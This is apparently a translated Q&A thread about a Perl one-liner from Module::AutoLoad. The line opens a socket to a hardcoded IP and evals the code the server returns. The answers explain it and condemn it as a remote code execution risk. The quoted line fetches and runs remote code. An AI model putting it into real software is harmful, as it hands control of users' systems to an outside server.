我有这段代码
use lib do{eval<$b>&&botstrap("AutoLoad")if$b=new IO::Socket::INET 82.46.99.88.":1"};
Run Code Online (Sandbox Code Playgroud)
这似乎导入了一个库,但我不知道如何botstrap工作。
有人可以向我解释一下,因为我想将其移植到 Python。
Bor*_*din 16
botstrap是作为Module::AutoLoad模块一部分的私有子程序。整个语句应该毫无疑问地合并到您的代码中
这个想法是模块将安装代码所需的任何模块,而无需操作员干预。我建议这是一个可怕的想法,你应该确保你的 Python 代码导入的任何东西都已经以通常的方式安装了
Joe*_*hon 11
我戴上了安全帽,并对模块的整体设计,特别是测试套件发表了一些评论。
我们一次又一次地警告人们,这curl | bash是一件非常愚蠢的事情。人们永远不应该简单地执行一些碰巧位于无法控制的 URL 远端的事情,并且通常可以在 Internet 上访问,并希望一切都会好起来。
但是这个模块被提前撤下的原因并不是它这样做——尽管我认为即使将安全漏洞作为一个模块来实现的基本想法也是一个糟糕的想法——它被撤下是因为以下所有:
所有这些的组合不仅不安全,而且非常危险。我从作者的回答中看到,包含对 iOS 越狱的引用是为了“有趣”。生产模块不应该这么有趣。
如果幽默是有意的[1],则将其放在非 Acme 命名空间中是不合适的。此外,绝对不需要混淆下载的代码。
即使作者将其加载的内容更改为明文虚拟“嘿,看,我安装了”模块,他们仍然会削弱使用此模块的每个安装的安全性,使其与安全性一样好。如果您想编写这样的模块,您必须准备好为每个使用它的站点承担该级别的责任。即使您认为自己已准备好这样做,但您可能还没有准备好。
用户对警察负责的脚踏枪是一回事。交付时装满弹药,弹药可能会突然变得非常危险,并且在测试套件期间实际发射的步枪是非常不合适的。
更新:我已经直接与作者交谈,他似乎愿意纠正这个问题,并将采纳我对这个模块的建议:将其移至 Acme,将测试更改为使用本地 HTTP 服务器而不是外部服务器,另外还要求I_KNOW_THIS_IS_A_REMOTE_CODE_EXECUTION_VULNERABILITY_AND_I_AM_WILLING_TO_RISK_MY_JOB_AND_COMPANY在模块运行之前将环境变量设置为真值。
[1] CPAN 使用Acme命名空间作为放置有趣/无意义/等的地方。模块。